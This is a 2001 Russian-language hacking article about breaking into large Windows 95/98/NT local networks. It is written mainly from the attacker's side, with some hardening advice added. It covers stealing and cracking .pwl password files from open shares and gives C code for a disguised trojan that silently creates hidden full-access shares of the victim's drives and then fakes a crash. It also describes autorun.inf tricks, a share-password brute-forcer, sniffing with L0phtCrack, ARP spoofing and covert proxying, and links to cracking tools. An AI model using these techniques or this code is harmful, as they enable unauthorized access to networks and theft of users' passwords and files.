Технология взлома больших локальных сетей
                                                                         Часть №1
Введение.
   В этой статье произведена попытка отследить все недостатки в системе безопасности больших локальных сетей, базирующихся на машинах с ОС Windows95/98/Me/NT/W2k, в которых администрирование сильно затруднено в связи с большой численностью машин. Приведены примеры использования соответствующих инструментов для взлома, исходные тексты автора. Так же даются рекомендации по устранению проблем.

Итак, мы в сети.
Поставим себя на место человека, которому все очень интересно...

   И с чего мы начнем? С исследования, конечно. Погуляем по сети, поглядим, где доступ только на чтение, а где и полный. Находим разные шары, доступные на чтение (например, с именем "install", "temp"), а на запись если и находим, то это что-то типа "obmen" или "income", и путного ничего там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары с именем "c", "d"... Это нам очень интересно. Расшаренный в корне диск, это всегда приятно. :) Пока будем действовать примитивно. Первым делом находим папку "Windows" и вытягиваем оттуда все *.pwl файлы и сохраняем у себя на диске. По названиям этих файлов, по их размеру и количеству мы уже можем сделать кое-какие выводы. Например, файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине валяются без применения. Ведь если вы первый раз входите в систему, для вас создается новый PWL, в котором будут храниться...

   Что мы можем найти в PWL? Начнем вскрытие. Берем любую программу для взлома паролей и действуем согласно инструкции. ;) Что мы видим? PWL - это "копилка", в которую помещаются все пароли, которые пользователь вводит для доступа к удаленным ресурсам.

   Для машин, где используется для доступа в Internet модем, это обычно так:
(прим.: реальные пароли я забил знаком "X")

(C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98)
                                ~~~~~~~~~~~~~~
¦ Enter the User Password:
File '1.PWL' has size 948 bytes, version [W95osr2_Win98]
for user '1' with password '' contains:

-[Type]-[The resource location string]--------------[Password]-
  Dial   *Rna\My Connection\ZZ-top                    XXXXXXX
  Dial   *Rna\My Connection\ZZ-TOP                    XXXXXXX
  Dial   *Rna\My Connection\ZZTOP                     XXXXXXX
  Dial   *Rna\TiNET 1\ZZTOP                       XXXXXXXXXXX
  Dial   *Rna\TiNET 2\ZZTOP                           XXXXXXX
  Dial   *Rna\TiNET\neoxars                           XXXXXXX
  Dial   *Rna\TiNET\NeoXars                           XXXXXXX
---------------------------------------------------------------
¦ Indexed Entryes: 1;   Number of resources: 7.
Для машин, работающих в локальных сетях, например, так:

File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98]
for user 'SANJA' with password 'QUAKE' contains:

-[Type]-[The resource location string]--------------[Password]-
  Link   ASH\EMAIL                                     XXXXXX
  Link   ASH\INTERNET                                  XXXXXX
  Link   ASH\RED                                       XXXXXX
  Link   ASH\TI_UART
  Dial ! crypt_Blizzard_Storm                           XXXXX
  Url/   wwwxilinx.com/xilinx account          XXXXXX:XXXXXX
  MAPI   MAPI                                            MAPI
---------------------------------------------------------------
_ Indexed Entryes: 4;   Number of resources: 7.

   Все пароли, хранящиеся в PWL, закрыты только одним паролем - тем, который вводится при входе в систему. И чаще всего его или нет, или он короткий (хотя всякое бывает). Поэтому мы легко их вскрываем и получаем доступ к другим машинам. Затем вытягиваем из них PWL и поступаем так же. И можно было бы сказать, что подбор паролей вручную морально устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет, тот всегда найдет. ;)
   Что тут можно посоветовать? Простым вариантом будет добавление символа "$" к имени ресурса, что сделает его невидимым для всех в сетевом окружении. Чем меньше человек знают о нем, тем меньше шансов быть атакованным. Но не стоит задавать простые имена типа "C$", так как их довольно часто проверяют взломщики. Хотя это не спасает от тех, кто знает свое дело. Ведь на запрос о предоставлении списка доступных ресурсов система выдает полный список, включая и "невидимые" ресурсы. Фильтруются они уже локально. Поэтому, существует возможность воспользоваться предназначенными для этого программами, хотя бы юниксовым SMB-клиентом. А еще проще - запустите сниффер, поймайте ответ от сервера и посмотрите на него. А заставить удаленный хост прислать вам список доступных ресурсов можно командой "net view \\comp_name"

Немного творчества.
   Ну что же? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать? Например, переписать, куда только можно программку, которая при запуске сделает доступными все диски и на чтение, и на запись. Называем ее подходящим именем в расчете на то, что кто-то ее запустит. Конечно, можно было бы еще долго и нудно рассказывать о троянизации, маскировании под must-have файлы, но я этого делать не буду. Это уже относится к психологии.

Вот что я написал для демонстрации данного метода.
(Для того, чтобы кто попало не компилировал, я не даю полный листинг)

---------------------------------------------------------------------
  share_info_50 shinfo50;

  ZeroMemory(&shinfo50,sizeof(shinfo50));
  shinfo50.shi50_type=STYPE_DISKTREE;
  shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
  shinfo50.shi50_remark="";

  // Расшариваем 1-й диск
  lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1);
  shinfo50.shi50_path="C:\\";
  NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

  // Расшариваем 2-й диск
  lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1);
  shinfo50.shi50_path="D:\\";
  NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

  // Расшариваем 3-й диск
  lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1);
  shinfo50.shi50_path="E:\\";
  NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));

  FillMemory((VOID*)0xFFFFFFFF,1,0);
  // А это для того, чтобы программа вылетела "в трубу", и
  // пользователь подумал, что это просто сбой в системе. :) (но это
  // не обязательно)
  // P.S. Все это только для Win95/98/Me. Для NT нужно немного
  // модифицировать.
---------------------------------------------------------------------
   Теперь на жертву можно зайти так - "Выполнить", "\\comp_name\temp1$" (это диск C). Что в этом удобного? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя ресурса заканчивается знаком "$". Это значит, что:
1) Мы имеем полный доступ.
2) Шара становится системной. Т.е. в проводнике (локально) не будет видно, что диск расшарен.
3) Шара не будет видна всем в сети.
   Можете поэкспериментировать с этой программкой и поставить себя теперь на место пользователя. Вот вы увидели файл, который не вы записывали. Вам сразу хочется узнать что это, и, если файл не нужен, удалить его. Вы запускаете и видите что-то типа "программа выполнила недопустимую инструкцию". Первая мысль обычно о том, что программа просто не работает. Вы со спокойной душой удаляете файл и даже не подозреваете, что темное дело уже сделано. Все. Вы под полным контролем. Тут не поможет никакой антивирус. Попробуйте зайти с другой машины на ваши диски. Теперь не забудьте удалить из реестра эти ресурсы. Они находятся в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan. Кстати, есть еще возможность создания reg файла, который автоматически создаст необходимые ключи в реестре. Но это слишком заметно, и вряд ли пользователь попадется на такую уловку. А метод с exe файлом работает довольно успешно. Я проводил эксперименты - многие попадались.

   Хотелось бы еще упомянуть о возможности "заставить" пользователя запустить программу, даже не подозревая об этом, если у вас есть доступ на запись в корень диска. Этот медот основан на использовании файлов autorun.inf. (Работает метод на Win9x) Они присутствуют на большинстве CD-дисков. Вот пример такого файла :

[autorun]
open=autorun.exe
icon=autorun.exe

Нам достаточно лишь строчки "open", где мы записываем имя программы, которая должна выполниться. Ложим этот файл в корне доступного на запись диска и ждем, пока кто-нибудь не нажмет "Мой компьютер --> Диск E:".
   Ну а если на некоторые машины вы так и не смогли попасть, можно попробовать взломать пароли удаленно перебором. Для этого даже существуют специальные программки. :) Но переборщик паролей на сетевые ресурсы по словарю я не видел и писал его сам. Вот код, который подключает сетевой диск (Win9x only):

----------------------------------------------------------------------
  // на входе параметры - char *resname, char *password
  DWORD RetVal;
  NETRESOURCE nr;
  nr.lpRemoteName=resname;
  nr.dwType=RESOURCETYPE_DISK;
  RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);
----------------------------------------------------------------------
Немного теории.
   При использовании такого метода в случае, когда удаленная машина Win9x, перебор ведется довольно быстро. Если же вы пытаетесь подключиться к NT, существует некоторая задержка в случае неверной комбинации имя/пароль. Но если вы подключаетесь как администратор, насколько я помню, такой задержки нет. В то же время, все попытки (удачные/неудачные - в зависимости от настроек) регистрируются в журнале событий NT. Поэтому заранее стоит подумать о том, что таким способом можно переполнить журнал - это позволит злоумышленнику уничтожить более важную информацию в логах.
   Но не всегда нужен перебор всех вариантов паролей. Для машин Win95/98/Me дела обстоят намного хуже. В реализации авторизации SMB-сессии Microsoft допустила ошибку, поэтому, путем написания специального эксплоита, можно получить доступ к жертве, потратив на взлом пароля, примерно, столько времени, сколько необходимо затратить на подбор одного символа, умноженного на их количество. Вы можете увидеть программную реализацию использования этой ошибки, если в поисковом сервере наберете "PQWak". Он выдаст множество ссылок на эту программу. А если же вы хотите версию программы, написанную нашим программистом, можете искать по слову "xIntruder". Эта программа, в отличие от предыдущей, понимает русские символы в именах машин. Поиграйте с этими программами и не удивляйтесь, когда за одну секунду будет взломан пароль длинной в 7 символов. А затем, чтобы спалось спокойней, закачайте официальный патч от Microsoft и раздайте всем, кому только можно. Ссылка на патчи дана в конце документа.

   Кстати, о багах. В системах NT4 и Win2k частенько остается непропатченым баг "NetBIOS: Null Session". Путем подстановки NULL вместо имени пользователя и пароля при подключении к сервису IPC$, можно получить доступ к списку зарегистрированных в системе пользователей, расшаренных ресурсов и др.. Устранить это можно занесением значения "1" в ключ реестра "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ LSA Name: RestrictAnonymous "

   Вышеуказанные программы работают по протоколу TCP, устанавливая соединение со 139-м портом на жертве, и вручную формируя пакеты сессий. Если же в сети используется протокол IPX, приходится сложнее. У меня пока есть планы на счет реализации этого алгоритма в программе, работающей на протоколах и TCP, и IPX. А пока приведу возможные варианты инкапсуляции пакетов SMB:
Используемый протокол: IP. Все системы - IP/TCP/Netbios/SMB
Используемый протокол: IPX. NT - IPX/Netbios/SMB. Win9x (default) IPX(:NMPI)/SMB

А теперь послушаем...
   Нельзя забывать, что путем простого сниффинга сети можно добыть огромное количество информации, в частности, пароли. К несчастью (для большинства), во многих протоколах на базе TCP, по старинке, пароль передается в открытом виде. К таким протоколам относятся telnet, ftp, pop3 и многие другие (примечание: если у вас есть желание исследовать какой-либо протокол и посмотреть "что же там внутри", вы можете использовать для этого мой инструмент "TCP_LOGGER"). На смену им пришли "ssh", "apop" и подобные, но полный переход на новые протоколы еще займет немало времени. Но все же, уже нельзя, как раньше, легко перехватывать пароли на SMB сессии. Они перестали передаваться в открытом виде. Эта проблема была в диалектах "LANMAN1.0" и др., а в более поздних, таких как "LANMAN2.1" и "NT LM 0.12" и используется шифрование пароля ключом, сгенерированным сервером, и по сети передается лишь hash-значение. Это, конечно, затрудняет взлом, но не делает его невозможным. Ведь затем можно попытаться подобрать пароль, перебирая возможные пароли и накладывая на него ключ сервера, сравнивая результат с имеющимся. При наличии быстрой машины и большого объема оперативной памяти, можно добиться очень высоких показателей скорости перебора.
   Приведу еще другой пример. Допустим, в вашем сегменте стоят машины с NT. Берем программу L0phtCrack и выбираем в меню "sniffing". Теперь она будет прослушивать все сетевые подключения и сохранять протокол в файл. Затем той же программкой и вскрываем их. Пример файла, который получается в результате использования для взлома программы L0phtCrack можно посмотреть здесь.

Какие есть возможности усложнить жизнь взломщику?
   Во-первых, если в вашей сети используются только NT, и вам не нужно обеспечить возможность входа с машин Windows95/98/Me, в реестре можно подправить один ключ, касающийся с совместимости с LANMAN2.1, что позволит увеличить стойкость пароля, так как стандартно в паролях NT различается регистр символов, а в Windows9x - нет (и не только по этой причине). Присвойте элементу типа DWORD "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ Lsa \ LMCompatibilityLevel" значение "2".
   Во-вторых, путем использования, например, свитчей вместо хабов. Повторители, хаб, коаксиал - это все, что формирует среду, образуя "collision domain". То есть, весь трафик является общим, что позволяет с любой машины перехватывать все пакеты, передающиеся какой угодно машиной в этом сегменте. В отличие от хаба, порты коммутатора разделяют "collision domain" и образуют "broadcast domain". Он работает с MAC адресами и на ходу стоит "route table". Поэтому пакет, адресованный какой-либо машине, будет передан на соответствующий порт свитча, а на остальных портах никаких событий не произойдет. Но помните(!), если в настойках не заданы жестко все MAC адреса, и свитч на лету обновляет таблицу соответствия интерфейсов портам, то остается возможность обмануть любую машину, послав ложный ARP, или ICMP пакет с сообщением о другом маршруте. Таким образом, мы можем перенаправить трафик на свой порт... более подробно об этом можно почитать в статьях на Сервере UInC.

К чему все это?
Снова представим себя на месте взломщика.
   Что мы можем полезного из всего извлечь? Если жертва имеет выход в Internet, можно повесить туда программу, которая замэппит какой-нибудь порт на proxy. Это возможно даже в таких случаях, если до машины вы можете добраться только по IPX/SPX. Я так сам когда-то делал. Это был proxy из двух половинок с преобразованием TCP->SPX->TCP. (Просто для маршрутизации в сеть с выходом в internet использовался "Nowell Netware", работающий только с кадрами 802.3). А потом у других возникают вопросы - откуда берется трафик... Кстати, узнать, есть ли у машины доступ в Сеть можно довольно просто. Загляните, что там установлено в "Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки можно, утянув реестр... Happy browsing! :)

Маленький словарь.
* Расшаривать - от англ. "share".
* PWL - сокращение "password list file".
* Патч - от англ. "patch" - заплата.
* Сниффинг, сниффер - от англ. "sniff" - нюхать.
* Замэппить - от англ. "map". Перенаправить трафик без изменений с локального порта на удаленный.

Links.
Патч от Microsoft исправляющий ошибку в работе SMB сессии можно скачать здесь:
http://www.microsoft.com/technet/securi … 00-072.asp

SMB вломщик - http://www.security.nnov.ru/files/smbcrkru.zip
PWL Hacker - http://www.uinc.ru/files/useful/pwl_h402.rar
L0pht Crack - http://www.atstake.com/research/lc3/index.html
L0pht Crack+ - http://lcp.chat.ru/ (русская бесплатная версия)

(c) Copyright 2001. Украина, Запорожье. KMiNT21 (mailto:kmint21@mail.ru).
uinC Member
[c]uinC